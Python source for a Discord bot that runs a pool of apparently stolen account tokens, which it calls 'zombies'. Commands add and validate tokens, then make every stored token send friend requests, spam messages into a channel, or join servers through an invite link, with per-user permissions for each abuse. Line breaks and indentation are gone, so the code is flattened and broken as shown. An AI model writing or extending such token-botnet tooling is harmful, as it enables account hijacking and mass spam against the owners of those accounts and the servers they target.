async def del_user(ctx, key): if str(ctx.author.id ) in self.config['BOT']['PERMS']['ADMIN'] or str( ctx.author.id) in self.config['BOT']['PERMS']['OWNER']: self.Cache.del_user(key) await ctx.send(embed=EmbedGenerator().generate_embed( fields={'Yes !': 'User successfully deleted'})) else: await ctx.send(embed=EmbedGenerator().generate_embed( fields={'No !': 'You need to be `OWNER` or `ADMIN` !'}))
async def check_token(ctx, token): self.Cache.add_zombie(token) token_info = Checker(token).get_informations() if token_info != 'invalid': await ctx.send( embed=EmbedGenerator().generate_embed(token_info)) else: await ctx.send(embed=EmbedGenerator().generate_embed( fields={'Oops..': 'The token was invalid'}))
async def list(ctx): i = 0 commands = '```ASM\n' for cmd in client.commands: commands += f'{cmd}\n' i += 1 commands += '```' await ctx.send(embed=EmbedGenerator().generate_embed( fields={f'Command list: ({i} cmd)': commands}))
async def friend_request(ctx, UsrID): with open('./Data/Account.json', 'r') as database: db = json.load(database) for acc in db['ACCOUNTS']: if str(ctx.author.id) in db['ACCOUNTS'][acc]['ID']: if 'FRIENDS_TOKEN' in db['ACCOUNTS'][acc]['PERMISSIONS']: for Token in self.Cache.all: Utils(Token).Token_Friend_Request(UsrID) else: await ctx.send(embed=EmbedGenerator().generate_embed( fields={ 'No !': 'You need to permission for friend request all tokens in your server' }))
async def send(ctx, ChanID, *, Message): with open('./Data/Account.json', 'r') as database: db = json.load(database) for acc in db['ACCOUNTS']: if str(ctx.author.id) in db['ACCOUNTS'][acc]['ID']: if 'SPAM_TOKENS' in db['ACCOUNTS'][acc]['PERMISSIONS']: for Token in self.Cache.all: Utils(Token).Token_Send(ChanID, Message) else: await ctx.send(embed=EmbedGenerator().generate_embed( fields={ 'No !': 'You need to permission for sent all tokens in your server' }))
async def join(ctx, Invite): with open('./Data/Account.json', 'r') as database: db = json.load(database) for acc in db['ACCOUNTS']: if str(ctx.author.id) in db['ACCOUNTS'][acc]['ID']: if 'JOIN_TOKENS' in db['ACCOUNTS'][acc]['PERMISSIONS']: for Token in self.Cache.all: time.sleep(3) Utils(Token).Token_Joiner(Invite) else: await ctx.send(embed=EmbedGenerator().generate_embed( fields={ 'No !': 'You need to permission for joined all tokens in your server' }))
async def add_user(ctx, key): self.Cache.add_user( key, f'{ctx.author.name}#{ctx.author.discriminator}', ctx.author.id) await ctx.send(embed=EmbedGenerator().generate_embed( fields={'Yes !': 'New user created'}))
async def post_token(ctx, token): self.Cache.add_zombie(token) await ctx.send(embed=EmbedGenerator().generate_embed( fields={'Congrast !': 'Token added successfully'}))
async def look_user(ctx): await ctx.send(embed=EmbedGenerator().generate_embed( fields={ '👽 | Zombies in database': str(len(self.Cache.Zombies)) }))